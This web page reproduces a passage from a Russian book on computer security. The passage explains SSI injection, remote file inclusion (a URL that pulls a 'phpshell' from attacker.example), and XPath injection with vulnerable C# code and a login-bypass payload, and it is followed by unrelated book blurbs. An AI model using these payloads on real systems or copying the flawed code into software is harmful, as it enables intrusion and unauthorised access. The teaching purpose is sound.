Защити свой компьютер на 100% от вирусов и хакеров - [18]
Перед генерацией HTML-страницы сервер может выполнять сценарии, например Server-site Includes (SSI). В некоторых ситуациях исходный код страниц генерируется на основе данных, предоставленных пользователем.
Если атакующий передает серверу операторы SSI, он может получить возможность выполнения команд операционной системы или включить в нее запрещенное содержимое при следующем отображении. Вот и пример: выражение < !—#exec cmd="/ bin/ls /" – > будет интерпретировано в качестве команды, просматривающей содержимое каталога сервера в UNIX-системах. Следующее выражение позволяет получить строки соединения с базой данных и другую чувствительную информацию, расположенную в файле конфигурации приложения .NET:
Другие возможности для атаки возникают, когда веб-сервер использует в URL имя подключаемого файла сценариев, но должным образом его не верифицирует. В этом случае злоумышленник может создать на сервере файл и подключить его к выполняемому сценарию. Предположим, веб-приложение работает со ссылками, подобными следующей: http://portal.example/index.php?template=news$body=$_GET['page'].".php".
В ходе обработки этого запроса сценарий index.php подключает сценарий news. php и выполняет указанный в нем код. Злоумышленник может указать в качестве URL http://portal.example/index.php?template=http://attacker. example/phpshell, и сценарий phpshell будет загружен с сервера злоумышленника и выполнен на сервере с правами веб-сервера.
Если на сервере предусмотрена функция сохранения документов пользователя, злоумышленник может предварительно сохранить необходимый сценарий и вызвать его через функцию подключения (http://portal.example/index.php? template=users/uploads/phpshell) или напрямую (http://portal. example/users/uploads/phpshell.php).
Внедрение операторов XPath (XPath Injection). Эти атаки направлены на вебсерверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.
Язык XPath 1.0 разработан для предоставления возможности обращения к частям документа на языке XML. Он может быть использован непосредственно либо в качестве составной части XSLT-преобразования XML-документов или выполнения запросов XQuery.
Синтаксис XPath близок к языку SQL-запросов. Предположим, что существует документ XML, содержащий элементы, соответствующие именам пользователей, каждый из которых содержит три элемента – имя, пароль и номер счета. Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234":
String(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
Если запросы XPath генерируются во время исполнения на основе пользовательского ввода, у атакующего появляется возможность модифицировать запрос с целью обхода логики работы программы. Для примера предположим, что веб-приложение использует XPath для запросов к документу XML для получения номеров счетов пользователей, чьи имена и пароли были переданы клиентом. Если это приложение внедряет данные пользователя непосредственно в запрос, это приводит к возникновению уязвимости (листинг 1.13).
Листинг 1.13. Код, реализующий уязвимость посредством оператора XPath
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("…");
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'
and password/text()='"+TextBox2.Text+
"']/account/text())");
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
// name+password pair is not found in the XML document
// login failed.
} else {
// account found -> Login succeeded.
// Proceed into the application.
}
В случае использования подобного кода злоумышленник может внедрить в запрос выражения на языке XPath, например ввести в качестве имени пользователя следующее выражение:
' or 1=1 or ''='
В этом случае запрос всегда будет возвращать счет первого пользователя в документе, поскольку будет выглядеть следующим образом:
string(//user[name/text()='' or 1=1 or ''='' and
password/text()='foobar']/account/text())
В результате злоумышленник получит доступ в систему от имени первого в XML-документе пользователя, не предоставляя имени пользователя и пароля.
Разглашение информации
Атаки данного класса направлены на получение дополнительной информации о веб-приложении. Используя эти уязвимости, злоумышленник может определить используемые дистрибутивы ПО, номера версий клиента и сервера и установленные обновления. В других случаях в утекающей информации может содержаться расположение временных файлов или резервных копий. Во многих ситуациях эти данные не требуются для работы пользователя. Большинство серверов предоставляют доступ к чрезмерному объему данных, однако необходимо минимизировать объем служебной информации. Чем большими знаниями о приложении будет располагать злоумышленник, тем легче ему будет скомпрометировать систему.
Индексирование директорий (Directory Indexing). Предоставление списка файлов в директории представляет собой нормальное поведение веб-сервера, если страница, отображаемая по умолчанию (index.html/home.html/default.htm), отсутствует.
Книг о работе в Интернете для начинающих очень много. Немало книг по интернет-технологиям было выпущено и для программистов-профессионалов. Но есть ли книги про Интернет, которые были бы интересны пользователю со средним уровнем подготовки? Таких изданий на русском языке почти нет. Данная книга призвана восполнить этот пробел. В ней собраны сотни неочевидных трюков и хитрых приемов для работы в Интернете, описаны десятки полезнейших программ, даны тысячи важных советов и рекомендаций. Диапазон рассматриваемых в книге вопросов очень широк.
Сегодня книжный рынок предлагает огромный выбор литературы о работе в Интернете – как для начинающих пользователей, так и для профессионалов. Но есть ли книги об Интернете, которые были бы интересны пользователю со средним уровнем подготовки? Таких изданий на русском языке почти нет. Данная книга призвана восполнить этот пробел. В ней собраны сотни неочевидных трюков и хитрых приемов для работы в Интернете, описаны десятки полезнейших программ, даны множество важных советов и рекомендаций.Диапазон рассматриваемых авторами вопросов очень широк – это и оптимизация подключения, и расширение возможности браузеров, и секреты эффективного поиска, и вопросы безопасности… Можете не сомневаться: освоив эту книгу, вы будете проводить время в Интернете куда более эффективно и интересно.
Вы хотите создать собственный сайт на просторах Интернета? Причем желательно, чтобы он был красивым, удобным и «неглючным»? Казалось бы, чего проще: существует столько программ – конструкторов сайтов. Однако чтобы создать действительно профессиональный сайт, подобных утилит недостаточно. Вам потребуется знание языков программирования HTML и XHTML, а также каскадных таблиц стилей CSS. И в этом случае книга, которую вы держите в руках, – именно то, что вам необходимо. С ее помощью вы научитесь создавать красиво оформленные, быстрые и профессиональные сайты.
Если вы только приступили к освоению азов компьютерных технологий, если вы пока еще задумываетесь, прежде чем нажать какую-либо клавишу на клавиатуре, если вы поминутно опасаетесь забыть, как запустить нужную вам программу, как отредактировать текстовый документ, как найти потерявшийся файл, – эта книга для вас. Прочитав ее, вы освоите работу в операционной системе Windows Vista, с программами из пакета Microsoft Office 2007, а также научитесь преодолевать сбои в работе вашего компьютера.
Из вашего компьютера валит сизый дым? Windows не грузится, и вы видите лишь черный экран? Или же Windows загружается, но потом экран становится синим и на нем появляются непонятные символы? Из системного блока раздается пронзительный писк? Ваши любимые игры перестали запускаться, а антивирус уже не помогает? Не паникуйте и не спешите вызывать мастера! В большинстве случаев сбои компьютера можно «излечить» самостоятельно. Как — научит эта книга. В ней предельно просто рассказывается о наиболее часто встречающихся поломках и ошибках ПК.
В книге изложены методы восстановления данных с различных носителей информации – жестких дисков, массивов RAID, CD, DVD, карт флэш-памяти, карт фотоаппаратов и мобильных телефонов. Ремонт поврежденного оборудования рассматривается в издании только как один из аспектов всего процесса извлечения данных. Основная тема – извлечение данных, поврежденных из-за физических или логических нарушений в работе компьютерной системы либо неверных действий пользователя. В книге рассматривается восстановление случайно удаленных файлов, извлечение ценной информации с поломанных жестких дисков; описываются программы и методика восстановления данных с поврежденных массивов RAID, что критически важно для работы корпоративных компьютерных систем.Книга не требует специальной подготовки читателя: простые пошаговые процедуры восстановления данных предваряются описанием принципов их хранения на различных носителях.